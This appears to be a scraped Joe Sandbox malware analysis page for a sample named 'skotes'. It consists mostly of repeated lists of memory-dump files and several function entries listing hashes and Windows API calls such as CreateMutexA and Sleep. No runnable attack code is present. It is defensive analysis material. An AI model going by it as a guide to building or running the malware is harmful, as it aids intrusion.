Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 916dd9f85f45b31257789cfd26bcc06f9fa7f860f9274c1a33ce868371db08dd
Instruction ID: dbd9c2aaea07a989724ede410a90ffeb61dd54b7fbd6ca5cf1a4f9f0793fdfac
Opcode Fuzzy Hash: 916dd9f85f45b31257789cfd26bcc06f9fa7f860f9274c1a33ce868371db08dd
Instruction Fuzzy Hash: 51314A31A44240ABFB18EB78DCC976DB772AB96314F20821AE414D76D5D73DA9808722

Function 0078A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A41B
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 30afcf58ea3e878c4cc7dc37a17f3924b864a6e478ac9afafea408657d6fc10d
Instruction ID: 9175137734621c66154bfc5337fc53678d536b8df763a6a7abff25cda35e886e
Opcode Fuzzy Hash: 30afcf58ea3e878c4cc7dc37a17f3924b864a6e478ac9afafea408657d6fc10d
Instruction Fuzzy Hash: F8315B31A44140EBFF08ABBCDCCDB6DB661EB85314F20421AE558D72D6D77D69808763

Function 0078A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A550
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 3b010cc463269d2bf6e2051b662e9ca6d164003fe1f411e2f17ee40b61be2226
Instruction ID: a62174c11a6d73f95b9cd81d67bd0931073da4ee3f5d9c4da6b14c0ee065c197
Opcode Fuzzy Hash: 3b010cc463269d2bf6e2051b662e9ca6d164003fe1f411e2f17ee40b61be2226
Instruction Fuzzy Hash: 9D316C31744100EBFB08EBB8DCC9B6DB761EB85314F24421AE454DB2D6DB3DA9808723

Function 0078A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A685
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: fe9fb80f19bcdc2a6a7e065a6a3cc44a938b8617fb0809ae6f2bac85a00102a1
Instruction ID: 7ab4cc26db1dde583dffdd3f09a081fb7131cc265ae1cf251af3bfdffc2d6630
Opcode Fuzzy Hash: fe9fb80f19bcdc2a6a7e065a6a3cc44a938b8617fb0809ae6f2bac85a00102a1
Instruction Fuzzy Hash: 16312831744104EBFB18EB78DC89B6DB772EB85314F24821AE514D72D6D73DA9808763

Function 0078A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A7BA
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 5a89ab88b236d5bfad85b292692fa21969e3d52b8a76654682e89ee45a8444ce
Instruction ID: fa0eedd6231046cf9e58c0284d7af5a7523e5c01c1e64bcb2192e3421d99cc53
Opcode Fuzzy Hash: 5a89ab88b236d5bfad85b292692fa21969e3d52b8a76654682e89ee45a8444ce
Instruction Fuzzy Hash: 45312831A85104EFFB18EB78DD89B6DB772AB85310F24821AE514D72D1E73DA9818722

Function 0078A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
